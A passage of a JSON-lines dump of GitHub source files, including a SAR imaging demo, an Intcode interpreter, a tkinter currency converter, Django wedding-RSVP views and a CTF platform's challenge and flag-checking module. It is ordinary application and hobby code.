random.sample(range(nScenes), nImagesForShow)\r\nidxImageShow = range(nImagesForShow)\r\nprint(\"show image: \", idxImageShow)\r\n\r\nfor n in idxImageShow:\r\n if verbose:\r\n outfile = outfilename_prefix + \\\r\n \"_Scene\" + str(n) + '.png'\r\n iprs.show_image(SrIs[n], outfile=outfile, isshow=True)\r\n # visualize\r\n iprs.show_amplitude_phase(Srs[n])\r\n\r\n if imagingMethod is 'RangeDoppler':\r\n # do RD imaging\r\n SrIr, ta, tr = iprs.rda(Srs[n], sarplat, verbose=False)\r\n elif imagingMethod is 'OmegaK':\r\n SrIr, ta, tr = iprs.omega_k(Srs[n], sarplat, verbose=False)\r\n elif imagingMethod is 'ChirpScaling':\r\n SrIr = iprs.chirp_scaling(Srs[n], sarplat, verbose=False)\r\n\r\n if verbose:\r\n # axismod = 'Image'\r\n # axismod = 'SceneAbsolute'\r\n axismod = 'SceneRelative'\r\n # axismod = 'ddd'\r\n Title = 'Reconstructed Image using ' + imagingMethod\r\n # Title = 'Reconstructed Image using omega-k'\r\n outfile = outfilename_prefix + \"_\" + \\\r\n imagingMethod + \"_Scene\" + str(n) + '.png'\r\n\r\n iprs.show_sarimage(\r\n SrIr, sarplat, axismod=axismod, title=Title,\r\n aspect=None, outfile=outfile)\r\n","repo_name":"antsfamily/iprs","sub_path":"examples/simulation/gendata/demo_create_datasets.py","file_name":"demo_create_datasets.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"32"} +{"seq_id":"72763566171","text":"from selenium import webdriver\nfrom actions.navigation_catalog import NavigationCatalogActions\nfrom actions.laptops import LaptopsActions\nimport os\nfrom selenium.common.exceptions import WebDriverException\nimport webium.settings\nimport logging\nimport allure\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass Application:\n def __init__(self, browser, base_url, config):\n # Set browser\n if browser == \"firefox\":\n self.driver = webdriver.Firefox()\n elif browser == \"chrome\":\n chrome_options = webdriver.ChromeOptions()\n # chrome_options.add_argument('--headless')\n self.driver = webdriver.Chrome(options=chrome_options,\n executable_path=os.getcwd() + os.sep + os.sep + \"data/chromedriver\")\n elif browser == \"ie\":\n self.driver = webdriver.Ie()\n else:\n raise ValueError(\"Unrecognized browser %s\" % browser)\n # Sets a sticky timeout to implicitly wait for an element to be found\n self.driver.implicitly_wait(30)\n webium.settings.wait_timeout = 15\n # Invokes the window manager-specific 'full screen' operation\n LOGGER.info(\"Expand browser to full screen\")\n self.driver.maximize_window()\n # Delete all cookies in the scope of the session\n self.driver.delete_all_cookies()\n # Initialize pages\n LOGGER.info(\"Started browser\")\n self.base_url = base_url\n self.navigation_catalog = NavigationCatalogActions(self)\n self.laptops = LaptopsActions(self)\n self.config = config\n\n @allure.step(\"Open url 'https://shop.by'\")\n def open_home_page(self):\n driver = self.driver\n driver.get(self.base_url)\n LOGGER.info(\"Open url '%s'\", self.base_url)\n\n def destroy(self):\n # Stop the browser\n self.driver.quit()\n LOGGER.info(\"Quits the driver and closes every associated window.\")\n\n # Verify the URL of the current page.\n def is_valid(self):\n try:\n self.current_url()\n LOGGER.info(\"Browser is valid\")\n return True\n except WebDriverException:\n return False\n\n # Gets the URL of the current page.\n def current_url(self):\n return self.driver.current_url\n","repo_name":"deingvard/python_shop_by","sub_path":"app/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"11555527841","text":"import json\r\nimport sys\r\nreload(sys) # Reload is a hack\r\nsys.setdefaultencoding('UTF8')\r\n\r\nnewStr = []\r\nwith open('countries.json', 'r') as f:\r\n distros_dict = json.load(f)\r\n\r\nfor distro in distros_dict:\r\n if(distro['name']!=\"United States of America\"):\r\n # nStr =\"\" ++ \" \"\r\n newStr.append(str(distro['name']))","repo_name":"alikemaltanriverdi/SeniorProject2017-2018","sub_path":"CountriesTry.py","file_name":"CountriesTry.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21354506418","text":"def read_memory(int_dict, position):\n if position not in int_dict:\n return 0\n else:\n return int_dict[position]\n\ndef read_address(int_dict, position, mode , relative_base):\n if(mode == 0):\n return int_dict[position]\n elif(mode == 2):\n return int_dict[position] + relative_base\n else:\n print('Wrong')\n\ndef read_int(int_dict, position, mode, rel_base):\n int_at_position = read_memory(int_dict, position)\n\n if mode == 0: # Position mode\n return read_memory(int_dict, int_at_position)\n elif mode == 1: # Immediate mode\n return int_at_position\n elif mode == 2: # Relative mode\n return read_memory(int_dict, int_at_position + rel_base)\n\ndef read_opcode(instruction):\n if(len(instruction) == 1):\n return '0' + instruction\n else:\n return instruction[-2:]\n\ndef process_int_instructions(int_dict, input, ip_start=0, relative_base=0):\n output = 0\n i = ip_start\n while i < len(int_dict):\n instr = str(int_dict[i])\n op_code = read_opcode(instr)\n # ---Set up parameter modes (0=position mode, 1=immediate mode)---\n first_mode, second_mode, third_mode = 0, 0, 0 # Default: Set all parameter modes to 0\n # If instruction specifies parameter modes - set them accordingly\n if(len(instr) >= 3):\n first_mode = int(instr[-3])\n if(len(instr) >= 4):\n second_mode = int(instr[-4])\n if(len(instr) >= 5):\n third_mode = int(instr[-5])\n\n # ---Interpret and execute instruction---\n if(op_code == '01'): # Add\n address = read_address(int_dict, i+3, third_mode, relative_base)\n int_dict[address] = read_int(int_dict, i+1, first_mode, relative_base) \\\n + read_int(int_dict, i+2, second_mode, relative_base)\n i += 4\n elif(op_code == '02'): # Multiply\n address = read_address(int_dict, i+3, third_mode, relative_base)\n int_dict[address] = read_int(int_dict, i+1, first_mode, relative_base) \\\n * read_int(int_dict, i+2, second_mode, relative_base)\n i += 4\n elif(op_code == '03'): # Read input\n if(len(input) != 0):\n int_dict[read_address(int_dict, i+1, first_mode, relative_base)] = input.pop()\n i += 2\n elif(op_code == '04'): # Output\n output = read_int(int_dict, i+1, first_mode, relative_base)\n i += 2\n return output, i, relative_base\n elif(op_code == '05'): # Jump-if-true\n if(read_int(int_dict, i+1, first_mode, relative_base) != 0):\n i = read_int(int_dict, i+2, second_mode, relative_base)\n else:\n i += 3\n elif(op_code == '06'): # Jump-if-false\n if(read_int(int_dict, i+1, first_mode, relative_base) == 0):\n i = read_int(int_dict, i+2, second_mode, relative_base)\n else:\n i += 3\n elif(op_code == '07'): # Less than\n address = read_address(int_dict, i+3, third_mode, relative_base)\n if(read_int(int_dict, i+1, first_mode, relative_base) < read_int(int_dict, i+2, second_mode, relative_base)):\n int_dict[address] = 1\n else:\n int_dict[address] = 0\n i += 4\n elif(op_code == '08'): # Equals\n address = read_address(int_dict, i+3, third_mode, relative_base)\n if(read_int(int_dict, i+1, first_mode, relative_base) == read_int(int_dict, i+2, second_mode, relative_base)):\n int_dict[address] = 1\n else:\n int_dict[address] = 0\n i += 4\n elif(op_code == '09'): # Adjust the relative relative base\n relative_base += read_int(int_dict, i+1, first_mode, relative_base)\n i += 2\n elif(op_code == '99'): # Halt program\n return output, -1, -1\n else:\n print('Something went wrong...')\n return -1\n\ndef runIntComputer(instructions, input_value):\n ip = 0\n rel_base = 0\n input = [input_value]\n output_list = []\n while(True):\n output, ip, rel_base = process_int_instructions(instructions, input, ip, rel_base)\n if(ip == -1):\n break\n output_list.append(output)\n return output_list\n\n# Obtain puzzle input\ninstructions = list(map(int, open('2019/Day09/input.txt','r').readline().strip().split(',')))\n\n# Convert list to dictionary\ninstr_dict = {}\ni = 0\nfor integer in instructions:\n instr_dict[i] = integer\n i += 1\n\n#-----Part1-----\noutput = runIntComputer(instr_dict.copy(), 1)\nprint('[part1] The BOOST keycode is {}'.format(output))\n\n#-----Part2-----\noutput = runIntComputer(instr_dict.copy(), 2)\nprint('[part1] The coordinates of the distress signal are {}'.format(output))\n","repo_name":"lissity/AoC","sub_path":"2019/Day09/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25402996863","text":"from astropy.io import ascii\nimport matplotlib.pyplot as plt\nimport initialize_mosdef_dirs as imd\nimport numpy as np\n\ndef compute_balmer_av(balmer_dec):\n balmer_av = 4.05*1.97*np.log10(balmer_dec/2.86)\n return balmer_av\n\ndef plot_balmer_stellar_avs(save_name):\n '''Makes a series of plots involving the balmer and stellar avs\n \n Parameters:\n save_name (str): Folder where everything is located\n '''\n\n # Make an output folder\n imd.check_and_make_dir(imd.axis_cluster_data_dir + f'/{save_name}/av_plots/')\n\n fontsize = 14\n\n # Read in summary df\n summary_df = ascii.read(imd.axis_cluster_data_dir + f'/{save_name}/summary.csv').to_pandas()\n\n summary_df['balmer_stellar_av_ratio'] = summary_df['balmer_av'] / summary_df['av_median']\n summary_df['err_balmer_stellar_av_ratio_low'] = np.sqrt((summary_df['err_balmer_av_low']/summary_df['balmer_av'])**2 + (summary_df['err_av_median']/summary_df['av_median'])**2)\n summary_df['err_balmer_stellar_av_ratio_high'] = np.sqrt((summary_df['err_balmer_av_high']/summary_df['balmer_av'])**2 + (summary_df['err_av_median']/summary_df['av_median'])**2)\n\n # Fig 1: Balmer vs Stellar Avs\n fig, ax = plt.subplots(figsize=(8,8)) \n ax.errorbar(summary_df['av_median'], summary_df['balmer_av'], xerr=summary_df['err_av_median'], yerr=np.array(summary_df['err_balmer_av_low'], summary_df['err_balmer_av_high']), marker='o', ls='None', color='black')\n ax.set_xlabel('FAST $A_V$', fontsize=fontsize)\n ax.set_ylabel('Balmer $A_V$', fontsize=fontsize)\n fig.savefig(imd.axis_cluster_data_dir + f'/{save_name}/av_plots/balmer_vs_stellar.pdf')\n\n # Fig 2: Balmer/Stellar ratio vs Properties\n def plot_prop(col_name, xlabel, plot_name):\n \"\"\"Makes a plot of the balmer/stellar ratio vs another galaxy property\n\n Parameters:\n col_name (str): Name of the column to plot\n xlabel (str): Axis label for the x-axis\n plot_name (str): Sort name to append ot end of plot when saving\n \"\"\"\n fig, ax = plt.subplots(figsize=(8,8)) \n ax.errorbar(summary_df[col_name], summary_df['balmer_stellar_av_ratio'], yerr=np.array(summary_df['err_balmer_stellar_av_ratio_low'], summary_df['err_balmer_stellar_av_ratio_high']), marker='o', ls='None', color='black')\n ax.set_xlabel(xlabel, fontsize=fontsize)\n ax.set_ylabel('Balmer $A_V$ / FAST $A_V$', fontsize=fontsize)\n fig.savefig(imd.axis_cluster_data_dir + f'/{save_name}/av_plots/ratio_vs_{plot_name}.pdf')\n \n plot_prop('log_mass_median', 'Stellar Mass', 'mass')\n plot_prop('log_use_ssfr_median', 'SSFR', 'use_ssfr')\n plot_prop('log_use_sfr_median', 'SFR', 'use_sfr')\n\n\n\n# plot_balmer_stellar_avs('both_4bin_1axis_median_params')\n\n\n","repo_name":"brianlorenz/code","sub_path":"mosdef_code/axis_ratios/balmer_avs.py","file_name":"balmer_avs.py","file_ext":"py","file_size_in_byte":2760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2219288440","text":"from tkinter import *\r\nfrom tkinter import ttk \r\n\r\n\r\nroot =Tk()\r\nroot.title(\"แปลงสกุลเงิน\")\r\nroot.geometry(\"450x130+300+70\") \r\n\r\n\r\n# Input\r\nmoney = IntVar()\r\nLabel(text='จำนวนเงิน (THB)',padx=10,font=30,background='red').grid(row=0, sticky=W)\r\net1 = Entry(font=30,width=30,textvariable=money,bg='blue') #width 8วามกว้างในช่องกรอกข้อความ \r\net1.grid(row=0,column=1)\r\n\r\n\r\nchoice = StringVar(value= \"โปรดเลือกสกุลเงิน\")\r\nLabel(text='เลือกสกุลเงิน',padx=10,font=30).grid(row=1,sticky=W)\r\ncombo =ttk.Combobox(width=20,font=30,textvariable=choice)\r\ncombo['values']=('EUR',\"JPY\",'USD','GBP')\r\ncombo.grid(row=1,column=1)\r\n\r\n\r\n\r\n\r\n#output\r\nLabel(text='ผลการคำนวน',padx=10,font=30).grid(row=2, sticky=W)\r\net2 = Entry(font=30,width=30) #width 8วามกว้างในช่องกรอกข้อความ \r\net2.grid(row=2,column=1)\r\n\r\ndef calculate():\r\n amount = money.get()\r\n currency =choice.get()\r\n\r\n if currency == \"EUR\":\r\n et2.delete(0,END)\r\n result = ((amount *0.027),\"EUR(ยูโร)\")\r\n et2.insert(0,result)\r\n\r\n elif currency == \"JPY\":\r\n et2.delete(0,END)\r\n result = ((amount *3.90),\"JPY(เยน)\")\r\n et2.insert(0,result)\r\n \r\n elif currency == \"USD\":\r\n et2.delete(0,END)\r\n result = ((amount *0.029),\"USD($)\")\r\n et2.insert(0,result)\r\n \r\n elif currency == \"GBP\":\r\n et2.delete(0,END)\r\n result = ((amount *0.024),\"GBP(ปอน)\")\r\n et2.insert(0,result)\r\n \r\n else :\r\n et2.delete(0,END)\r\n result = \"ไม่พบข้อมูล\"\r\n et2.insert(0,result)\r\n\r\n \r\ndef deleteText ():\r\n et1.delete(0,END)\r\n et2.delete(0,END)\r\n\r\n\r\nButton(text=\"คำนวณ\",font=30,width=10,command=calculate).grid(row=3,column=1,sticky=W)\r\nButton(text=\"ล้าง\",font=30,width=10,command=deleteText).grid(row=3,column=1,sticky=E)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nroot.mainloop()\r\n\r\n","repo_name":"pacharapol2326/git-101","sub_path":"แปลงค่าเงิน.py","file_name":"แปลงค่าเงิน.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41157070539","text":"import base64\nfrom collections import namedtuple\nimport random\nfrom datetime import datetime\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.urls import reverse\nfrom django.db.models import Count, Q\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render\nfrom django.views.generic import ListView\nfrom guests import csv_import\nfrom guests.invitation import get_invitation_context, INVITATION_TEMPLATE, guess_party_by_invite_id_or_404, \\\n send_invitation_email\nfrom guests.models import Guest, MEALS, Party, INVITATION_ID_LENGTH\nfrom guests.save_the_date import get_save_the_date_context, send_save_the_date_email, SAVE_THE_DATE_TEMPLATE, \\\n SAVE_THE_DATE_CONTEXT_MAP\n\n\nclass GuestListView(ListView):\n model = Guest\n\n\n@login_required\ndef export_guests(request):\n export = csv_import.export_guests()\n response = HttpResponse(export.getvalue(), content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=all-guests.csv'\n return response\n\n\n@login_required\ndef dashboard(request):\n parties_with_pending_invites = Party.objects.filter(\n is_attending=None\n ).order_by('category', 'name')\n parties_with_unopen_invites = parties_with_pending_invites.filter(invitation_opened=None)\n parties_with_open_unresponded_invites = parties_with_pending_invites.exclude(invitation_opened=None)\n attending_guests = Guest.objects.filter(is_attending=True)\n meal_breakdown = attending_guests.exclude(meal=None).values('meal').annotate(count=Count('*'))\n category_breakdown = attending_guests.values('party__category').annotate(count=Count('*'))\n return render(request, 'guests/dashboard.html', context={\n 'couple_name': settings.BRIDE_AND_GROOM,\n 'guests': Guest.objects.filter(is_attending=True).count(),\n 'possible_guests': Guest.objects.exclude(is_attending=False).count(),\n 'not_coming_guests': Guest.objects.filter(is_attending=False).count(),\n 'pending_invites': parties_with_pending_invites.count(),\n 'pending_guests': Guest.objects.filter(is_attending=None).count(),\n 'guests_without_meals': guests_without_meals,\n 'parties_with_unopen_invites': parties_with_unopen_invites,\n 'parties_with_open_unresponded_invites': parties_with_open_unresponded_invites,\n 'unopened_invite_count': parties_with_unopen_invites.count(),\n 'total_invites': Party.objects.count(),\n 'meal_breakdown': meal_breakdown,\n 'category_breakdown': category_breakdown,\n })\n\n\ndef invitation(request, invite_id):\n party = guess_party_by_invite_id_or_404(invite_id)\n if party.invitation_opened is None:\n # update if this is the first time the invitation was opened\n party.invitation_opened = datetime.utcnow()\n party.save()\n mainGuestAttends = False\n if request.method == 'POST':\n for response in _parse_invite_params(request.POST):\n guest = Guest.objects.get(pk=response.guest_pk)\n assert guest.party == party\n if guest.is_plus_one and not mainGuestAttends:\n guest.is_attending = False\n guest.plus_one_name = None\n guest.meal = None\n guest.is_allergic = None\n guest.allergic = None\n else:\n guest.is_attending = response.is_attending\n mainGuestAttends = guest.is_attending\n if response.is_attending:\n guest.plus_one_name = response.plus_one_name if guest.is_plus_one else None\n guest.meal = response.meal\n guest.is_allergic = response.is_allergic\n guest.allergic = response.allergic if guest.is_allergic else None\n else:\n guest.meal = None\n guest.is_allergic = None\n guest.allergic = None \n guest.save()\n party.save()\n party.is_attending = party.any_guests_attending\n party.save()\n if party.is_attending:\n transportation = request.POST.get('transportation')\n party.transportationNeeded = True if transportation == 'needed' else False\n party.friSatAccommodation = True if request.POST.get('friSat') else False\n party.satSunAccommodation = True if request.POST.get('SatSun') else False\n print(request.POST.get('prefersPhone'))\n print(request.POST.get('prefersEmail'))\n party.phoneNumber = request.POST.get('phoneNumber') if request.POST.get('prefersPhone') else None\n party.emailAddress = request.POST.get('emailAddress') if request.POST.get('prefersEmail') else None\n if request.POST.get('comments'):\n comments = request.POST.get('comments')\n party.comments = comments if not party.comments else '{}; {}'.format(party.comments, comments) \n party.save()\n if party.any_guests_attending:\n return HttpResponseRedirect(reverse('rsvp-confirm', args=[invite_id]))\n else:\n return HttpResponseRedirect(reverse('rsvp-decline', args=[invite_id]))\n return render(request, template_name='guests/invitation.html', context={\n 'party': party,\n 'meals': MEALS+[('is_allergic', 'alergia')],\n 'couple_name_genitive': settings.BRIDE_AND_GROOM_GENITIVE,\n 'wedding_date': settings.WEDDING_DATE,\n 'wedding_location': settings.WEDDING_LOCATION,\n 'website': settings.WEDDING_WEBSITE_URL\n })\n\ndef rsvp(request):\n if request.method == \"POST\":\n if request.POST.get(\"rsvp\"):\n invite_id = request.POST.get(\"rsvp\")\n if Party.objects.filter(invitation_id=invite_id).exists():\n return HttpResponseRedirect(reverse('invitation', args=[invite_id]))\n else:\n return HttpResponseRedirect(reverse('rsvp-invalid'))\n return render(request, template_name='guests/rsvp.html', context={\n 'support_email': settings.DEFAULT_WEDDING_REPLY_EMAIL,\n 'rsvp_code_length': INVITATION_ID_LENGTH,\n 'couple_name_genitive': settings.BRIDE_AND_GROOM_GENITIVE,\n 'website': settings.WEDDING_WEBSITE_URL,\n })\n\n\ndef rsvp_invalid(request):\n return render(request, template_name='guests/rsvp-invalid.html', context={\n 'support_email': settings.DEFAULT_WEDDING_REPLY_EMAIL,\n 'rsvp_code_length': INVITATION_ID_LENGTH,\n 'couple_name_genitive': settings.BRIDE_AND_GROOM_GENITIVE,\n 'website': settings.WEDDING_WEBSITE_URL,\n })\n\nInviteResponse = namedtuple('InviteResponse', ['guest_pk', 'is_attending', 'plus_one_name', 'meal', 'is_allergic', 'allergic'])\n\n\ndef _parse_invite_params(params):\n responses = {}\n for param, value in params.items():\n if param.startswith('attending'):\n pk = int(param.split('-')[-1])\n response = responses.get(pk, {})\n response['attending'] = True if value == 'yes' else False\n responses[pk] = response\n if param.startswith('plus_one'):\n pk = int(param.split('-')[-1])\n response = responses.get(pk, {})\n response['plus_one_name'] = value\n responses[pk] = response\n elif param.startswith('meal'):\n pk = int(param.split('-')[-1])\n response = responses.get(pk, {})\n response['meal'] = value\n responses[pk] = response\n elif param.startswith('is_allergic'):\n pk = int(param.split('-')[-1])\n response = responses.get(pk, {})\n response['is_allergic'] = True if value == 'on' else False\n responses[pk] = response\n elif param.startswith('allergic'):\n pk = int(param.split('-')[-1])\n response = responses.get(pk, {})\n response['allergic'] = value\n responses[pk] = response\n\n for pk, response in responses.items():\n if 'is_allergic' not in response.keys():\n response['is_allergic'] = False if response['attending'] else None\n yield InviteResponse(pk, response['attending'], response.get('plus_one_name', None), response.get('meal', None), response['is_allergic'], response.get('allergic', None))\n\n\ndef rsvp_confirm(request, invite_id=None):\n party = guess_party_by_invite_id_or_404(invite_id)\n return render(request, template_name='guests/rsvp-confirmation.html', context={\n 'party': party,\n 'support_email': settings.DEFAULT_WEDDING_REPLY_EMAIL,\n 'website': settings.WEDDING_WEBSITE_URL,\n 'couple_name_genitive': settings.BRIDE_AND_GROOM_GENITIVE\n })\n\n\ndef rsvp_decline(request, invite_id=None):\n party = guess_party_by_invite_id_or_404(invite_id)\n return render(request, template_name='guests/rsvp-decline.html', context={\n 'party': party,\n 'support_email': settings.DEFAULT_WEDDING_REPLY_EMAIL,\n 'website': settings.WEDDING_WEBSITE_URL,\n 'couple_name_genitive': settings.BRIDE_AND_GROOM_GENITIVE\n })\n\n\n@login_required\ndef invitation_email_preview(request, invite_id):\n party = guess_party_by_invite_id_or_404(invite_id)\n context = get_invitation_context(party)\n return render(request, INVITATION_TEMPLATE, context=context)\n\n\n@login_required\ndef invitation_email_test(request, invite_id):\n party = guess_party_by_invite_id_or_404(invite_id)\n send_invitation_email(party, recipients=[settings.DEFAULT_WEDDING_TEST_EMAIL])\n return HttpResponse('sent!')\n\n\ndef save_the_date_random(request):\n template_id = random.choice(SAVE_THE_DATE_CONTEXT_MAP.keys())\n return save_the_date_preview(request, template_id)\n\n\ndef save_the_date_preview(request, template_id):\n context = get_save_the_date_context(template_id)\n context['email_mode'] = False\n return render(request, SAVE_THE_DATE_TEMPLATE, context=context)\n\n\n@login_required\ndef test_email(request, template_id):\n context = get_save_the_date_context(template_id)\n send_save_the_date_email(context, [settings.DEFAULT_WEDDING_TEST_EMAIL])\n return HttpResponse('sent!')\n\n\ndef _base64_encode(filepath):\n with open(filepath, \"rb\") as image_file:\n return base64.b64encode(image_file.read())\n","repo_name":"annalamperska/django-wedding-website","sub_path":"guests/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"40381110625","text":"import json\n\nfrom django.urls import reverse\n\nfrom server.terms.interface import Terms\nfrom server.trigger.interface import Trigger, TriggerIsOff\nfrom server.user.interface import User, PermissionRequired\nfrom server.context import Context\nfrom server.exceptions import NotFound, WrongArguments\nfrom . import models\n\n\nclass Challenge:\n json_fields = ('pk', 'score', 'enabled', 'name', 'category',\n 'detail', 'url', 'url_orig', 'prompt', 'index', 'flags',\n 'check_url_clicked')\n update_fields = ('enabled', 'name', 'category', 'detail', 'url_orig',\n 'prompt', 'index', 'flags', 'check_url_clicked')\n subscribers = []\n\n def __init__(self, context, obj: models.Challenge):\n self._context = context\n self._obj = obj\n\n @classmethod\n def create(cls, context, **kwargs):\n User.test_permission(context, 'challenge.full')\n self = cls(context, models.Challenge())\n flags = kwargs.pop('flags')\n self._update(**kwargs)\n self._update(flags=flags)\n new = self._json_all\n for subscriber in self.subscribers:\n subscriber(None, new)\n return self\n\n @classmethod\n def get(cls, context, pk):\n queryset = models.Challenge.objects.all()\n try:\n User.test_permission(context, 'challenge.full', 'challenge.view')\n except PermissionRequired:\n User.test_authenticated(context)\n Terms.test_agreed_enabled(context)\n User.test_profile(context)\n Trigger.test_can_view_challenges(context)\n queryset = queryset.filter(enabled=True)\n try:\n return cls(context, queryset.get(pk=pk))\n except models.Challenge.DoesNotExist:\n raise NotFound('题目不存在')\n\n @classmethod\n def get_all(cls, context):\n User.test_permission(context, 'challenge.full', 'challenge.view')\n return [cls(context, obj) for obj in models.Challenge.objects.all()]\n\n @classmethod\n def get_enabled(cls, context):\n User.test_authenticated(context)\n Terms.test_agreed_enabled(context)\n User.test_profile(context)\n try:\n User.test_permission(context, 'challenge.full', 'challenge.view')\n except PermissionRequired:\n Trigger.test_can_view_challenges(context)\n queryset = models.Challenge.objects.filter(enabled=True)\n return [cls(context, obj) for obj in queryset]\n\n @classmethod\n def get_public_data(cls, context):\n try:\n Trigger.test_can_view_challenges(context)\n except TriggerIsOff:\n return []\n def f(o):\n o['flags'] = [{\n 'id': i,\n 'name': f['name'],\n 'score': f['score'],\n } for i, f in enumerate(json.loads(o['flags']))]\n return o\n return list(map(f,\n models.Challenge.objects\n .filter(enabled=True)\n .values('id', 'name', 'category', 'flags')\n ))\n\n def check_flag_with_violations(self, text):\n \"\"\"\n violations: [(user, reason), ...]\n \"\"\"\n flags = [{'index': i, **f} for i, f in enumerate(self.flags)]\n matches = []\n for i, flag in enumerate(json.loads(self._obj.flags)):\n if flag['type'] == 'text':\n if text == flag['flag']:\n matches.append(flags[i])\n elif flag['type'] == 'expr':\n if models.ExprFlag.objects.filter(\n expr=flag['flag'],\n user=self._context.user.pk,\n flag=text,\n ).exists():\n matches.append(flags[i])\n violations = []\n if matches:\n # check click url\n if self._obj.check_url_clicked:\n if not models.ChallengeURLRecord.objects.filter(\n challenge=self._obj,\n user=self._context.user.pk,\n ).exists():\n for flag in matches:\n violations.append((self._context.user.pk,\n f\"在题目 {flag['name']} 中未下载文件,但是提交了正确的 flag\"))\n return matches, violations\n for i, flag in enumerate(json.loads(self._obj.flags)):\n if flag['type'] == 'expr':\n matches = list(models.ExprFlag.objects.filter(expr=flag['flag'], flag=text))\n if len(matches) == 1:\n violations.append((self._context.user.pk, f\"在题目 {flags[i]['name']} 中提交了 ID 为 {matches[0].user} 的选手的 flag\"))\n violations.append((matches[0].user, f\"在题目 {flags[i]['name']} 中被 ID 为 {self._context.user.pk} 的选手提交了自己的 flag\"))\n elif len(matches) > 1:\n violations.append((self._context.user.pk, f\"在题目 {flags[i]['name']} 中提交了其他 {len(matches)} 名选手的 flag\"))\n return [], violations\n\n def get_and_log_url_orig(self):\n _ = models.ChallengeURLRecord.objects.get_or_create(\n challenge=self._obj,\n user=self._context.user.pk,\n )\n return self._obj.url_orig\n\n def update(self, **kwargs):\n User.test_permission(self._context, 'challenge.full')\n old = self._json_all\n self._update(**kwargs)\n new = self._json_all\n for subscriber in self.subscribers:\n subscriber(old, new)\n\n def _update(self, **kwargs):\n for k, v in kwargs.items():\n if k in {'name', 'category', 'url_orig', 'prompt'}:\n v = v or None\n setattr(self._obj, k, v)\n elif k in {'enabled', 'detail', 'index', 'check_url_clicked'}:\n setattr(self._obj, k, v)\n elif k == 'flags':\n flags = [{\n 'name': str(flag['name']),\n 'score': int(flag['score']),\n 'type': str(flag['type']),\n 'flag': str(flag['flag']),\n } for flag in v]\n setattr(self._obj, k, json.dumps(flags))\n for flag in flags:\n if flag['type'] != 'expr':\n continue\n self._add_expr(flag['flag'])\n self._obj.expr_set.all().delete()\n for i, flag in enumerate(flags):\n if flag['type'] != 'expr':\n continue\n self._obj.expr_set.create(flag_index=i, expr=flag['flag'])\n else:\n raise WrongArguments()\n self._obj.save()\n self._obj.refresh_from_db()\n\n def delete(self):\n User.test_permission(self._context, 'challenge.full')\n old = self._json_all\n self._obj.expr_set.all().delete()\n self._obj.delete()\n self._obj = None\n for subscriber in self.subscribers:\n subscriber(old, None)\n\n @property\n def json(self):\n result = {}\n for i in self.json_fields:\n try:\n result[i] = getattr(self, i)\n except PermissionRequired:\n pass\n return result\n\n @property\n def _json_all(self):\n return type(self)(self._context.copy(elevated=True), self._obj).json\n\n @property\n def pk(self):\n return self._obj.pk\n\n @property\n def score(self):\n return sum(flag['score'] for flag in self.flags)\n\n @property\n def enabled(self):\n return self._obj.enabled\n\n @property\n def name(self):\n return self._obj.name\n\n @property\n def category(self):\n return self._obj.category\n\n @property\n def detail(self):\n return self._obj.detail\n\n @property\n def url(self):\n if self._obj.url_orig is None:\n return None\n return reverse('challenge_url', args=[self.pk])\n\n @property\n def url_orig(self):\n try:\n User.test_permission(self._context, 'challenge.full',\n 'challenge.view')\n return self._obj.url_orig\n except PermissionRequired:\n return None\n\n @property\n def check_url_clicked(self):\n try:\n User.test_permission(self._context, 'challenge.full',\n 'challenge.view')\n return self._obj.check_url_clicked\n except PermissionRequired:\n return None\n\n @property\n def prompt(self):\n return self._obj.prompt\n\n @property\n def index(self):\n return self._obj.index\n\n @property\n def flags(self):\n flags = json.loads(self._obj.flags)\n try:\n User.test_permission(self._context, 'challenge.full',\n 'challenge.view')\n return flags\n except PermissionRequired:\n return [{\n 'name': flag['name'],\n 'score': flag['score'],\n } for flag in flags]\n\n @classmethod\n def regen_all(cls, context):\n \"\"\"重算所有缓存,只有通过命令行提权后才能调用\"\"\"\n User.test_permission(context)\n models.User.objects.all().delete()\n models.Expr.objects.all().delete()\n models.ExprFlag.objects.all().delete()\n for challenge in cls.get_all(context):\n for i, flag in enumerate(challenge.flags):\n if flag['type'] != 'expr':\n continue\n challenge._obj.expr_set.create(flag_index=i, expr=flag['flag'])\n for user in User.get_all(context):\n if not user.token:\n continue\n cls._add_user(user.pk)\n models.User.objects.create(user=user.pk)\n\n @classmethod\n def _add_expr(cls, expr):\n from .expr_flags import expr_flag\n if models.Expr.objects.filter(expr=expr).exists():\n return False\n for user_obj in models.User.objects.all():\n if models.ExprFlag.objects.filter(\n expr=expr,\n user=user_obj.user,\n ).exists():\n continue\n token = User.get(Context(elevated=True), user_obj.user).token\n models.ExprFlag.objects.create(\n expr=expr,\n user=user_obj.user,\n flag=expr_flag(expr, token),\n )\n return True\n\n @classmethod\n def _add_user(cls, user):\n from .expr_flags import expr_flag\n if models.User.objects.filter(user=user).exists():\n return False\n token = User.get(Context(elevated=True), user).token\n for expr_obj in models.Expr.objects.values('expr').distinct():\n if models.ExprFlag.objects.filter(\n expr=expr_obj['expr'],\n user=user,\n ).exists():\n continue\n models.ExprFlag.objects.create(\n expr=expr_obj['expr'],\n user=user,\n flag=expr_flag(expr_obj['expr'], token),\n )\n return True\n\n @classmethod\n def _user_event(cls, old, new):\n old_token = old and 